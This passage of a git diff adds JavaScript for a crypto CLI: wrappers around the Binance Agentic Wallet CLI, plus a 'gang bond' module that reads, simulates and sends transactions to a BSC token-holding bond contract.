'symbol', stateMutability: 'view', inputs: [], outputs: [{ type: 'string' }] }, @@ -68,5 +89,10 @@ export const ERC20_ABI = [ { type: 'function', name: 'locked', stateMutability: 'view', inputs: [], outputs: [{ type: 'bool' }] }, ] +/** WBNB (WETH9): wrap native BNB 1:1 so a WBNB-quoted V2 buy can pull it. */ +export const WBNB_ABI = [ + { type: 'function', name: 'deposit', stateMutability: 'payable', inputs: [], outputs: [] }, +] + /** @deprecated alias kept for older imports */ export const LAUNCHPAD_ABI = V2_ABI diff --git a/src/baw.js b/src/baw.js index fe75061..b1e779d 100644 --- a/src/baw.js +++ b/src/baw.js @@ -1,4 +1,6 @@ import { execFileSync } from 'node:child_process' +import { callPrint } from './pending.js' +import { rememberPreview } from './previews.js' /** Run a `baw` command and parse its --json output. Throws with the CLI's error payload on failure. */ export function baw(args) { @@ -6,15 +8,39 @@ export function baw(args) { try { out = execFileSync('baw', [...args, '--json'], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'pipe'], maxBuffer: 8 << 20 }) } catch (e) { + if (e.code === 'ENOENT') { + throw new Error('baw (the Binance Agentic Wallet CLI) is not installed or not on PATH: npm i -g @binance/agentic-wallet, then baw auth signin. Under an MCP host, start gang mcp with a PATH that has baw\'s directory (which baw)') + } const text = (e.stdout || '') + (e.stderr || '') try { return JSON.parse(e.stdout) } catch { throw new Error(`baw ${args[0]} failed: ${text.trim() || e.message}`) } } return JSON.parse(out) } +const HINTS = { + 351803: 'risk control refused it: Trade all tokens is off for this wallet, so it may only send whitelisted tokens (turn it on in the Binance App; gang preflight)', +} + +/** + * baw's error ({ code, name, message }) → the fields a gang result prints: error as text, like every other gang error, + * and baw's code next to it. + */ +export function bawError(e) { + if (e == null || typeof e !== 'object') return { error: String(e ?? 'baw failed') } + return { + error: e.message || JSON.stringify(e), + ...(e.code != null && { code: e.code }), ...(e.name && { errorName: e.name }), + ...(HINTS[e.code] && { hint: HINTS[e.code] }), + } +} +export const bawFailed = (what, e) => { + const b = bawError(e) + return new Error(`baw ${what} failed: ${b.error}${b.code != null ? ` (code ${b.code})` : ''}`) +} + export function bawAddress(chainId = '56') { const r = baw(['wallet', 'address']) - if (!r.success) throw new Error(JSON.stringify(r.error)) + if (!r.success) throw bawFailed('wallet address', r.error) const a = r.data.addresses.find((x) => x.binanceChainId === chainId) if (!a) throw new Error(`Agentic Wallet has no address on chain ${chainId}`) return a.address @@ -22,7 +48,7 @@ export function bawAddress(chainId = '56') { export function bawSettings() { const r = baw(['wallet', 'settings']) - if (!r.success) throw new Error(JSON.stringify(r.error)) + if (!r.success) throw bawFailed('wallet settings', r.error) return r.data } @@ -31,9 +57,16 @@ export function bawStatus() { return r.success ? r.data.status : 'UNCONNECTED' } -/** Preview an external contract call through Binance's risk engine. */ -export function bawPreview({ from, to, value = 0n, data = '0x', chainId = '56' }) { - return baw(['contract-call', 'preview', '--binanceChainId', chainId, '--from', from, '--to', to, '--value', value.toString(), '--inputData', data]) +/** + * Preview an external contract call through Binance's risk engine. gasLimit: only where the CLI knows the call needs more + * than an estimate (baw simulates with it as the cap and sends it as is); otherwise baw estimates. + */ +export function bawPreview({ from, to, value = 0n, data = '0x', chainId = '56', gasLimit = null }) { + const p = baw(['contract-call', 'preview', '--binanceChainId', chainId, '--from', from, '--to', to, '--value', value.toString(), '--inputData', data, + ...(gasLimit ? ['--gasLimit', String(gasLimit)] : [])]) + // what this preview will send, so `gang tx --pending` can tell its tx once the user approves it in the App + if (p?.success && p.data?.requestId) rememberPreview(p.data.requestId, { print: callPrint(to, data), chainId: String(chainId) }) + return p } export function bawExecute(requestId) { diff --git a/src/bond.js b/src/bond.js new file mode 100644 index 0000000..2ce9113 --- /dev/null +++ b/src/bond.js @@ -0,0 +1,678 @@ +import { createPublicClient, parseAbi, encodeFunctionData, decodeEventLog, formatUnits, parseUnits, isAddress, zeroAddress } from 'viem' +import { decimalsOf, fundingStep as fund, parseAmount, parseIntIn, parseNum, revertOf as revertIn, step, units, GAS_RESERVE } from './steps.js' +import { atTokenPad, GANG_GENS, gangGens, KIND_UNREAD, MERGED_ERRORS_ABI, MERGED_HINTS, NOT_ON_MAINNET, padNets, rpcTransport, tokenVaultOf, VAULT_NO_BOND } from './gangpad.js' +import { bawAddress } from './baw.js' +import { get as apiGet } from './discover.js' + +/** + * `gang bond …` — GangBond (Agent 押金承诺, gang-launchpad src/gang/GangBond.sol): a creator of a GangLaunchpad token + * posts a bond in the token's quote and promises its creating address holds at least X tokens. It can be posted any + * time after create (on the curve / during the 打新 sale too) and binds from then; T is `duration` after the token + * reaches its PancakeSwap pair (graduation / launch; `start` sets it). Below X, anyone can report it: the reporter gets + * 1%, the rest buys the token back from its pair in small chunks and burns it. Settle (after T, balance still ≥ X) + * returns the whole bond to the creator; refund does the same when the pair never came within 30 days of the post. + * One contract per network, no owner; it only reads the pad. + * + * One GangBond per GangLaunchpad generation (it reads one pad): a token's bond is on its own generation's GangBond. + * Env: GANG_BOND (mainnet), GANG_TESTNET_BOND (testnet) override the create target's (gangpad.js). + */ + +// script/DeployGangBond.s.sol, once per generation: the create target's (GANG_GENS in gangpad.js has each one's history) +export const MAINNET_BOND = GANG_GENS.mainnet[0].bond +export const TESTNET_BOND = GANG_GENS.testnet[0].bond + +export const BOND_ABI = parseAbi([ + 'function post(address token, uint256 amount, uint256 holdAmount, uint64 duration) payable', + 'function topUp(address token, uint256 amount) payable', + 'function raiseHold(address token, uint256 newHoldAmount)', + 'function extend(address token, uint64 by)', + 'function start(address token)', + 'function report(address token)', + 'function requestSettle(address token)', + 'function settle(address token)', + 'function requestRefund(address token)', + 'function refund(address token)', + 'function burnChunk(address token, uint256 minTokensOut) returns (uint256 quoteIn, uint256 burned)', + 'function bondOf(address token) view returns ((address creator, uint64 postedAt, uint32 round, address quote, uint8 state, uint64 deadline, uint64 duration, uint64 requestAt, uint128 amount, uint128 holdAmount, uint128 burnLeft))', + 'function isViolated(address token) view returns (bool)', + 'function isLive(address token) view returns (bool)', + 'function dumpValue(address token) view returns (uint256)', + 'function coverageBps(address token) view returns (uint256)', + 'function historyOf(address creator) view returns (uint32 posted, uint32 honored, uint32 slashed)', + 'function quoteDump(address token, uint256 holdAmount) view returns (uint256)', + 'function previewBurn(address token) view returns (bool ready, uint256 quoteIn, uint256 tokensOut)', + 'function MIN_DURATION() view returns (uint64)', 'function MAX_DURATION() view returns (uint64)', + 'function REPORTER_BPS() view returns (uint256)', 'function MAX_WAIT() view returns (uint64)', 'function REFUND_NOTICE() view returns (uint64)', + 'function SETTLE_DELAY() view returns (uint64)', 'function CHUNK_GAP() view returns (uint64)', + 'event BondPosted(address indexed token, address indexed creator, uint32 round, address quote, uint256 amount, uint256 holdAmount, uint64 duration, uint64 deadline)', + 'event BondStarted(address indexed token, uint32 round, uint64 deadline)', + 'event BondToppedUp(address indexed token, uint32 round, uint256 added, uint256 amount)', + 'event HoldRaised(address indexed token, uint32 round, uint256 holdAmount)', + 'event BondExtended(address indexed token, uint32 round, uint64 duration, uint64 deadline)', + 'event BondReported(address indexed token, uint32 round, address indexed reporter, uint256 balance, uint256 reward, uint256 burnLeft)', + 'event SettleRequested(address indexed token, uint32 round, uint64 settleAt)', + 'event BondSettled(address indexed token, uint32 round, address indexed creator, uint256 amount)', + 'event RefundRequested(address indexed token, uint32 round, uint64 refundAt)', + 'event BondRefunded(address indexed token, uint32 round, address indexed creator, uint256 amount)', + 'event BondBurned(address indexed token, uint32 round, uint256 quoteIn, uint256 tokensBurned, uint256 burnLeft)', + 'error ZeroAddress()', 'error UnknownToken()', 'error NotTradable()', 'error NotCreator()', 'error BondLive()', + 'error NotActive()', 'error ZeroAmount()', 'error BadDuration()', 'error BadHold()', 'error BadValue()', + 'error FeeOnTransferQuote()', 'error NotViolated()', 'error Violated()', 'error NotDue()', 'error NothingToBurn()', + 'error BurnTooSoon()', 'error Slippage()', 'error FlashSwapActive()', 'error AlreadyLive()', 'error AlreadyRequested()', 'error NoRefundRequest()', + 'error NoSettleRequest()', + 'error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value)', 'error SafeERC20FailedOperation(address token)', +]) + +const PAD_ABI = parseAbi([ + 'function kindOf(address token) view returns (uint8)', + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', + 'function sales(address token) view returns (address creator, uint64 progressAt, uint16 capShares, uint16 holdBps, address quote, uint16 sold, bool launched, uint16 mintFeeBps, uint16 exitFeeBps, address gate, uint128 sharePrice, address pair, address refPool, uint16 markSold)', +]) +const ERC20_ABI = parseAbi(['function balanceOf(address) view returns (uint256)', 'function symbol() view returns (string)']) + +const HINTS = { + NotTradable: 'this needs the token on its PancakeSwap pair (V3 graduated / 打新 launched), and it is not there yet', + UnknownToken: 'not a GangLaunchpad token (V3 or 打新): bonds cover only those', + NotCreator: 'only the token\'s creator (curves / sales creator) can post, top up, raise X or extend', + BondLive: 'this token already has a bond in force (active, or slashed with buy-back still running): one at a time', + NotActive: 'no active bond on this token (none posted, already settled, refunded or slashed)', + BadDuration: '--days must be 7–90 (extend: before the pair at most 90 days in all, after it a deadline at most 90 days from now)', + BadHold: '--hold must be above 0 and at most the creator\'s balance now (raise-hold: not below the current X)', + BadValue: 'native BNB only for a WBNB-quoted token, exactly the bond amount', + FeeOnTransferQuote: 'the quote takes a fee on transfer: it cannot be used for a bond', + NotViolated: 'the creator still holds at least X: nothing to report', + Violated: 'the creator holds less than X: the bond cannot be settled or refunded, only reported', + NoSettleRequest: 'ask to settle first (gang bond settle asks; it runs 1 hour later)', + AlreadyLive: 'the token reached its pair: the bond runs (gang bond start) instead of being refunded', + AlreadyRequested: 'already requested: a refund runs once its 3-day notice is over, a settle 1 hour after its request', + NoRefundRequest: 'request the refund first (gang bond refund asks for it; it runs 3 days later)', + NotDue: 'not due yet: the deadline, the refund notice or the 1-hour settle wait has not passed', + NothingToBurn: 'no slashed bond with buy-back left on this token', + BurnTooSoon: 'a chunk was bought for this token less than 4 minutes ago: one chunk per 4 minutes', + Slippage: 'the buy-back would burn fewer tokens than the minimum: the price moved, re-run', + FlashSwapActive: 'the token\'s pair is mid flash swap: settle cannot count tokens borrowed from it; send it in its own tx', +} + +const STATES = ['none', 'active', 'slashed', 'settled', 'refunded'] +const MAX_WAIT = 30 * 86_400 // GangBond.MAX_WAIT +const REFUND_NOTICE = 3 * 86_400 // GangBond.REFUND_NOTICE +const SETTLE_DELAY = 3_600 // GangBond.SETTLE_DELAY +const BPS = 10_000n +const TOTAL_SUPPLY = 1_000_000_000n * 10n ** 18n +const DAY = 86_400 +const MAX_UINT = 2n ** 256n - 1n + +/** GangBond of the create target on `testnet` / mainnet (env first); null when not deployed there. */ +export function bondAddress(testnet) { + return gangGens(testnet)[0].bond || null +} + +function bondCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + // a token's bond is its own generation's (set after atTokenPad); the create target may have none yet + const bond = bondAddress(testnet) + if (!net.gens.some((g) => g.bond)) throw new Error(`GangBond is not deployed on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} in this CLI version: set ${testnet ? 'GANG_TESTNET_BOND' : 'GANG_BOND'} to its address`) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, bond, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +/** --from, else the signed-in Agentic Wallet (as gang v3 / gang fair). */ +const walletFor = (ctx, from) => { + if (from) return from + try { return bawAddress(ctx.chainId) } catch { return bawAddress('56') } +} + +const revertOf = (e) => revertIn(e, [BOND_ABI, MERGED_ERRORS_ABI], { ...MERGED_HINTS, ...HINTS }) + +async function simulate(ctx, from, functionName, args, value = 0n) { + try { + const { result } = await ctx.client.simulateContract({ account: from, address: ctx.bond, abi: BOND_ABI, functionName, args, value }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +/** The token as the pad has it: kind, creator, quote, pair and whether it trades on PancakeSwap yet. null when not the pad's. */ +async function marketOf(ctx, token) { + const kind = Number(await ctx.read(ctx.pad, PAD_ABI, 'kindOf', [token])) + if (kind === 1) { + const [creator, quote, , , , , graduated, , , , pair] = await ctx.read(ctx.pad, PAD_ABI, 'curves', [token]) + return { kind: 'v3', creator, quote, pair, live: graduated } + } + if (kind === 2) { + const s = await ctx.read(ctx.pad, PAD_ABI, 'sales', [token]) + return { kind: 'fair', creator: s[0], quote: s[4], pair: s[11], live: s[6] } + } + return null +} + +const symbolOf = async (ctx, token) => { try { return await ctx.read(token, ERC20_ABI, 'symbol') } catch { return null } } +const pctOfBps = (bps) => Number(bps) / 100 +const tokens = (x) => formatUnits(x, 18) +const same = (a, b) => String(a).toLowerCase() === String(b).toLowerCase() +const ceilDiv = (a, b) => (a + b - 1n) / b + +/** Coverage tier (bps): ≥ 100% full cover, 50–100% bond, below 50% none. gang.fun colours a tier only for an + * allow-listed quote and an X of at least half the creator's balance; every other active bond gets a gray badge. */ +const tierOf = (bps) => (bps >= BPS ? 'full' : bps >= 5_000n ? 'bond' : 'none') +const TIER_NOTE = { full: '押金全覆盖: dumping X now loses money (bond ≥ what the sale fetches)', bond: '押金: bond covers 50–100% of what dumping X fetches', none: 'below 50% coverage: a plain gray 押金 badge on gang.fun (bond and coverage still shown)' } + +/** + * The tier's coverage (bps): the bond over the lower of the dump value now and the anchor. gang.fun anchors the badge to + * the dump value when X was set on the pair (post on it / clock start / hold raise; raised to any higher live read in the + * hour after, so a one-block dip can't set it), so a price rise never lowers the tier and an honest creator need not keep + * adding to stay 押金全覆盖; the live coverage is still shown next to it. No anchor: the live coverage. MAX_UINT when X + * fetches nothing (as GangBond.coverageBps). + */ +export const tierBps = (amount, dump, anchor) => { + const d = anchor != null && anchor < dump ? anchor : dump + return d ? (amount * BPS) / d : MAX_UINT +} + +/** How long a bond command waits for gang.fun's anchor before going on with the live tier. */ +const ANCHOR_WAIT_MS = 3_000 + +/** + * gang.fun's anchor for this round (wei of the quote), or null: not mainnet (gang.fun indexes mainnet only), no anchor + * indexed yet, another round, an X gang.fun has not caught up with (a hold raise not indexed yet: its anchor is for the + * old X), or gang.fun unreachable / slower than ANCHOR_WAIT_MS — the tier is then the live one. Never fails the command. + */ +export async function anchorOf(ctx, token, round, hold) { + if (String(ctx.chainId) !== '56') return null + try { + const r = await apiGet(`/bonds/${token.toLowerCase()}`, AbortSignal.timeout(ANCHOR_WAIT_MS), '') + if (!r || Number(r.round) !== round || !same(r.bond ?? ctx.bond, ctx.bond) || !/^\d+$/.test(r.anchorDumpValue ?? '')) return null + if (r.holdAmount != null && String(r.holdAmount) !== String(hold)) return null + const a = BigInt(r.anchorDumpValue) + return a > 0n ? a : null + } catch { return null } +} + +async function nowOf(ctx) { + return Number((await ctx.client.getBlock()).timestamp) +} + +/** The bond and everything around it, formatted; raw fields kept under `_raw` for the commands. withAnchor: ask gang.fun + * for the tier's anchor (status and the previews that show a tier; report / settle don't wait on it). */ +async function bondView(ctx, token, m, withAnchor = false) { + const b = await ctx.read(ctx.bond, BOND_ABI, 'bondOf', [token]) + const state = STATES[Number(b.state)] ?? String(b.state) + const quote = b.quote === zeroAddress ? m.quote : b.quote + const [dec, sym, now] = await Promise.all([decimalsOf(ctx, quote), symbolOf(ctx, quote), nowOf(ctx)]) + const q = (x) => formatUnits(x, dec) + const creator = b.creator === zeroAddress ? m.creator : b.creator + const [bal, history] = await Promise.all([ + ctx.read(token, ERC20_ABI, 'balanceOf', [creator]), + ctx.read(ctx.bond, BOND_ABI, 'historyOf', [creator]), + ]) + const v = { + token, kind: m.kind, creator, state, round: Number(b.round), quote: sym || quote, + creatorHistory: { posted: Number(history[0]), honored: Number(history[1]), slashed: Number(history[2]) }, + } + const pending = state === 'active' && b.deadline === 0n + const raw = { bond: b, bal, quote, dec, now, pending, live: m.live } + if (state === 'none') return { ...v, _raw: raw } + const days = (sec) => Math.round((Number(sec) / DAY) * 10) / 10 + Object.assign(v, { + bond: q(b.amount), holdTokens: tokens(b.holdAmount), holdPctOfSupply: Number((b.holdAmount * 1_000_000n) / TOTAL_SUPPLY) / 10_000, + creatorBalance: tokens(bal), headroomTokens: bal >= b.holdAmount ? tokens(bal - b.holdAmount) : `-${tokens(b.holdAmount - bal)}`, + postedAt: new Date(Number(b.postedAt) * 1000).toISOString(), durationDays: days(b.duration), + deadline: b.deadline === 0n ? null : new Date(Number(b.deadline) * 1000).toISOString(), + }) + if (state === 'active') { + const violated = await ctx.read(ctx.bond, BOND_ABI, 'isViolated', [token]) + const violatedNote = violated && { note: `the creator holds less than X: anyone can report it (gang bond report --token ${token}) and take 1% of the bond` } + if (pending) { + // posted before the pair: the promise binds now, the clock starts when the token reaches its pair + const refundAt = Number(b.postedAt) + MAX_WAIT + Object.assign(v, { + phase: 'pending', violated, live: m.live, + clock: `starts when the token ${m.kind === 'v3' ? 'graduates' : 'launches'}: deadline = that moment + ${days(b.duration)} days`, + ...(m.live + ? { note: `the token is on its pair: anyone can start the clock (gang bond start --token ${token}); any other bond write starts it too` } + : { refundRequestFrom: new Date(refundAt * 1000).toISOString(), coverageNote: 'no coverage before the pair: shown once it trades on PancakeSwap' }), + ...(b.requestAt !== 0n && !m.live && { + refundRequested: true, refundRunsAt: new Date(Number(b.requestAt) * 1000).toISOString(), + refundNote: 'the creator asked for the bond back: it can be withdrawn from refundRunsAt if the token still has no pair; the promise binds until then, and graduation / launch cancels the request', + }), + ...violatedNote, + ...(!violated && !m.live && raw.now >= refundAt && b.requestAt === 0n && { note: `no pair within 30 days of the post and X is held: the creator can ask for the bond back (gang bond refund --token ${token}); it runs 3 days later` }), + }) + return { ...v, _raw: raw } + } + const [dump, cov, anchor] = await Promise.all([ + ctx.read(ctx.bond, BOND_ABI, 'dumpValue', [token]), + ctx.read(ctx.bond, BOND_ABI, 'coverageBps', [token]), + withAnchor ? anchorOf(ctx, token, Number(b.round), b.holdAmount) : null, + ]) + const left = Number(b.deadline) - now + const settleAt = Number(b.requestAt) + const tcov = tierBps(b.amount, dump, anchor) + const anchored = anchor != null && dump > anchor + Object.assign(v, { + phase: 'running', violated, dumpValue: q(dump), coveragePct: cov === MAX_UINT ? null : pctOfBps(cov), + // the badge: anchored on gang.fun (a price rise never lowers it); coveragePct / toFullCover stay live + // tierBasis anchor: at the dump value when X was set (or now, if lower); live: no anchor from gang.fun + tier: tierOf(tcov), tierCoveragePct: tcov === MAX_UINT ? null : pctOfBps(tcov), tierBasis: anchor == null ? 'live' : 'anchor', + anchorDumpValue: anchor == null ? null : q(anchor), + ...(anchored && { dumpChangePct: pctOfBps(((dump - anchor) * BPS) / anchor) }), + tierNote: anchored + ? `dumping X now fetches more than at the anchor: the badge stays at the anchor's tier (${tierOf(tcov)}); live coverage ${cov === MAX_UINT ? '-' : pctOfBps(cov)}%` + : TIER_NOTE[tierOf(tcov)], + toFullCover: dump > b.amount ? q(dump - b.amount) : '0', + ...(left > 0 ? { secondsLeft: left, daysLeft: Math.round((left / DAY) * 10) / 10 } : { pastDeadline: true }), + ...violatedNote, + ...(settleAt !== 0 && { settleRequested: true, settleRunsAt: new Date(settleAt * 1000).toISOString() }), + ...(!violated && left <= 0 && { + note: settleAt === 0 + ? `past the deadline and X is held: anyone can settle it in two steps (gang bond settle --token ${token} asks; run it again 1 hour later and the bond goes back to the creator). X must still be held then; until then it can be reported if the balance drops below X` + : now < settleAt + ? `settle asked for: it runs from settleRunsAt if X is still held then; until then it can be reported if the balance drops below X` + : `settle is due: gang bond settle --token ${token} returns the bond to the creator (X must still be held)`, + }), + }) + Object.assign(raw, { dump, cov, anchor }) + } + if (state === 'slashed') { + const [ready, quoteIn, tokensOut] = await ctx.read(ctx.bond, BOND_ABI, 'previewBurn', [token]) + Object.assign(v, { + burnLeft: q(b.burnLeft), burnDone: b.burnLeft === 0n, + ...(b.burnLeft > 0n && !m.live && { + nextChunk: ready ? { quoteToDead: q(quoteIn) } : null, + nextChunkNote: ready + ? 'slashed before the pair and still no pair 30 days after the post: gang bond burn --token … sends the rest to 0xdead as quote' + : `slashed before the pair: the buy-back starts once the token ${m.kind === 'v3' ? 'graduates' : 'launches'}; if it has not by ${new Date((Number(b.postedAt) + MAX_WAIT) * 1000).toISOString()}, the rest goes to 0xdead as quote`, + }), + ...(b.burnLeft > 0n && m.live && { nextChunk: ready ? { quoteIn: q(quoteIn), tokensOut: tokens(tokensOut) } : null, nextChunkNote: ready ? 'gang bond burn --token … buys this chunk now' : 'not ready: the first call after a slash records a price observation, then the buy-back waits 10 minutes and skips while the price is more than 2% above its average (after 20 minutes without a call it starts over); at most one chunk per 4 minutes' }), + }) + } + return { ...v, _raw: raw } +} + +/** --hold: a token amount, or N% of the total supply (1,000,000,000). */ +function parseHold(fail, raw) { + const s = String(raw ?? '').trim() + if (s.endsWith('%')) { + const n = Number(s.slice(0, -1)) + if (!(n > 0 && n <= 100)) fail('--hold as a percentage must be above 0 and at most 100 (of the total supply)', { got: raw ?? null }) + return (TOTAL_SUPPLY * BigInt(Math.round(n * 10_000))) / 1_000_000n + } + return parseUnits(parseAmount(fail, 'hold', raw), 18) +} + +const tokenArg = (opt, fail) => { + const v = opt('token') + if (!isAddress(v ?? '')) fail('--token must be a GangLaunchpad token address (0x…)', { got: v ?? null }) + return v +} + +/** The pay side of post / topUp: BNB for a WBNB quote (value; --use-wbnb pays WBNB), otherwise approve to GangBond first. */ +async function payment(ctx, me, quote, amount, sym, useWbnb, rawOnly, summarize) { + if (same(quote, ctx.wbnb) && !useWbnb) { + const native = await ctx.client.getBalance({ address: me }) + if (native < amount + GAS_RESERVE) { + return { pre: { success: false, error: 'not enough BNB for this bond (native BNB must also cover gas)', haveBnb: formatUnits(native, 18), needBnb: formatUnits(amount, 18), reserveForGas: formatUnits(GAS_RESERVE, 18), hint: 'add --use-wbnb to pay from WBNB instead' } } + } + return { value: amount } + } + const pre = await fund(ctx, { me, token: quote, need: amount, spender: ctx.bond, sym, approveStep: 'approve-quote' }, rawOnly, summarize) + return pre ? { pre } : { value: 0n } +} + +const CLI_ONLY = 'the CLI refuses sells that would break the bond (gang v3 sell / gang fair sell), but a sell on the PancakeSwap site or another wallet is not stopped: it breaks the bond and anyone can report it' + +// notes and follows are for trades and creates (gang.fun matches them to those txs); a bond tx carries none +const NOTE_FLAGS = ['note', 'conf', 'reveal-after', 'follow'] + +const SUBS = ['post', 'topup', 'raise-hold', 'extend', 'status', 'start', 'report', 'settle', 'refund', 'burn', 'tx'] +const USAGE = 'usage: gang bond --token [--testnet] — see gang help' + +/** Entry for `gang bond `. io: { opt, flag, out, fail, summarize } from index.js. */ +export async function runBond(sub, { opt, flag, out, fail, summarize }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const noteFlag = NOTE_FLAGS.find((f) => flag(f)) + if (noteFlag) return fail(`--${noteFlag}: gang bond takes no notes or follows (they go on trades and creates); leave it out`) + const testnet = flag('testnet') + const net = testnet ? ' --testnet' : '' + const rawOnly = flag('calldata') + let ctx + try { ctx = bondCtx(testnet) } catch (e) { return fail(e.message) } + const chainId = Number(ctx.chainId) + + if (sub === 'tx') { + const hash = opt('hash') + if (!/^0x[0-9a-fA-F]{64}$/.test(hash ?? '')) fail('--hash must be a tx hash') + const r = await ctx.client.waitForTransactionReceipt({ hash, timeout: 120_000 }) + const events = [] + for (const log of r.logs) { + // any generation's GangBond (a token's bond is on its own generation's) + if (!ctx.gens.some((g) => same(log.address, g.bond))) continue + try { + const ev = decodeEventLog({ abi: BOND_ABI, data: log.data, topics: log.topics }) + events.push({ event: ev.eventName, ...Object.fromEntries(Object.entries(ev.args).map(([k, v]) => [k, typeof v === 'bigint' ? v.toString() : v])) }) + } catch { /* not a bond event */ } + } + return out({ success: true, chainId, hash, status: r.status, block: Number(r.blockNumber), events, explorer: `${ctx.explorer}/tx/${hash}` }) + } + + const token = tokenArg(opt, fail) + // the token's generation: its pad and its GangBond + if ((await atTokenPad(ctx, token)) === null) return fail(KIND_UNREAD.error, { token: token, retry: KIND_UNREAD.retry }) + if (!ctx.bond) return fail('this token\'s GangLaunchpad generation has no GangBond in this CLI version', { token, chainId, padGen: ctx.gen }) + const m = await marketOf(ctx, token) + if (!m) return fail('not a GangLaunchpad token (V3 or 打新) on this network: bonds cover only those', { token, chainId }) + // a token bound to a lock vault (3.0 --vault) takes no bond: a lock empties the wallet the bond watches + let vault = null + if (sub === 'post' || sub === 'status') { + try { vault = await tokenVaultOf(ctx, token) } catch (e) { + if (sub === 'post') return fail('could not read whether this token is bound to a lock vault (RPC error)', { token, detail: e.shortMessage || e.message.split('\n')[0], retry: 'same command again' }) + } + } + if (vault && sub === 'post') return fail(VAULT_NO_BOND, { token, chainId, vault, padGen: ctx.gen }) + const view = await bondView(ctx, token, m, ['status', 'topup', 'raise-hold'].includes(sub)) + const { _raw: raw, ...pub } = view + const b = raw.bond + const qf = (x) => formatUnits(x, raw.dec) + let wallet = null + const me = () => (wallet ??= walletFor(ctx, opt('from'))) + const send = (functionName, args, extra, value = 0n) => + step(ctx, { from: me(), to: ctx.bond, data: encodeFunctionData({ abi: BOND_ABI, functionName, args }), value }, { chainId, token, bondContract: ctx.bond, ...extra }, rawOnly, summarize) + + if (sub === 'status') { + // no bond yet on a token before its pair: say a bond can be posted now (the view's own notes win otherwise) + const before = !vault && view.state === 'none' && !m.live + && { note: `the token is not on PancakeSwap yet (${m.kind === 'v3' ? 'not graduated' : 'not launched'}): its creator can post a bond now; the --days clock starts when it ${m.kind === 'v3' ? 'graduates' : 'launches'}` } + // vault-bound: never suggest a bond; a bond that exists anyway (posted outside this CLI) is at risk from any lock + const vaultNote = vault && (view.state === 'none' + ? { vault, note: `no bond can be posted: ${VAULT_NO_BOND}` } + : { vault, warning: `${VAULT_NO_BOND}. Locking any of the promised holding into the vault before settle loses this bond` }) + return out({ success: true, chainId, bondContract: ctx.bond, ...pub, ...before, ...vaultNote }) + } + + if (sub === 'report') { + if (view.state !== 'active') return fail(HINTS.NotActive, { ...pub }) + if (!view.violated) return fail(HINTS.NotViolated, { creatorBalance: view.creatorBalance, holdTokens: view.holdTokens }) + const sim = await simulate(ctx, me(), 'report', [token]) + if (sim.failed) return out({ success: false, step: 'report', ...sim.failed }) + const self = same(me(), b.creator) + const rewardBps = await ctx.read(ctx.bond, BOND_ABI, 'REPORTER_BPS') + const reward = self ? 0n : (b.amount * rewardBps) / BPS + return out(send('report', [token], { + step: 'report', creator: b.creator, creatorBalance: view.creatorBalance, holdTokens: view.holdTokens, bond: view.bond, quote: view.quote, + reward: qf(reward), rewardPct: self ? 0 : pctOfBps(rewardBps), burnAfter: qf(b.amount - reward), + note: self ? 'the creator reporting itself gets no reward: the whole bond goes to buy-back' : `you get ${pctOfBps(rewardBps)}% of the bond; the rest buys the token back from its pair in chunks and burns it (gang bond burn)`, + })) + } + + if (sub === 'start') { + if (view.state !== 'active') return fail(HINTS.NotActive, { ...pub }) + if (!raw.pending) return fail('the clock is already running', { deadline: view.deadline }) + if (!m.live) return fail(`the token has not ${m.kind === 'v3' ? 'graduated' : 'launched'} yet: the clock starts when it reaches its pair`, { refundRequestFrom: view.refundRequestFrom }) + const sim = await simulate(ctx, me(), 'start', [token]) + if (sim.failed) return out({ success: false, step: 'start', ...sim.failed }) + return out(send('start', [token], { + step: 'start', durationDays: view.durationDays, deadlineAbout: new Date((raw.now + Number(b.duration)) * 1000).toISOString(), + note: 'anyone may start it; the deadline is the block this lands in + the duration', + })) + } + + if (sub === 'refund') { + // creator only, two steps: request (30 days without a pair since the post), then refund after a 3-day notice + if (view.state !== 'active') return fail(HINTS.NotActive, { ...pub }) + if (!same(me(), b.creator)) return fail('only the creator can ask for its bond back', { wallet: me(), creator: b.creator }) + if (!raw.pending || m.live) return fail(HINTS.AlreadyLive, { deadline: view.deadline }) + if (view.violated) return fail(HINTS.Violated, { creatorBalance: view.creatorBalance, holdTokens: view.holdTokens }) + if (b.requestAt === 0n) { + const requestAt = Number(b.postedAt) + MAX_WAIT + if (raw.now < requestAt) return fail('a refund can be asked for only 30 days after the post without a pair', { refundRequestFrom: view.refundRequestFrom, secondsLeft: requestAt - raw.now }) + const sim = await simulate(ctx, me(), 'requestRefund', [token]) + if (sim.failed) return out({ success: false, step: 'request-refund', ...sim.failed }) + return out(send('requestRefund', [token], { + step: 'request-refund', bond: view.bond, quote: view.quote, refundRunsAbout: new Date((raw.now + REFUND_NOTICE) * 1000).toISOString(), + note: 'step 1 of 2: starts a 3-day notice (shown on gang.fun). Keep holding X: a breach can still be reported, and if the token graduates / launches meanwhile the request is void and the clock starts. Then run gang bond refund again', + })) + } + if (raw.now < Number(b.requestAt)) return fail('the refund notice is not over yet', { refundRunsAt: view.refundRunsAt, secondsLeft: Number(b.requestAt) - raw.now }) + const sim = await simulate(ctx, me(), 'refund', [token]) + if (sim.failed) return out({ success: false, step: 'refund', ...sim.failed }) + return out(send('refund', [token], { step: 'refund', refund: view.bond, quote: view.quote, note: 'step 2 of 2: no pair after the notice, X held: the bond comes back to you (not counted as honored)' })) + } + + if (sub === 'settle') { + if (view.state !== 'active') return fail(HINTS.NotActive, { ...pub }) + if (raw.pending) { + return fail(m.live ? 'the clock has not started: settle comes duration days after it' : 'the token is not on its pair yet: settle comes after graduation / launch + the duration', { + durationDays: view.durationDays, hint: m.live ? `gang bond start --token ${token}${net}` : `if there is still no pair 30 days after the post, the creator can ask for the bond back: gang bond refund --token 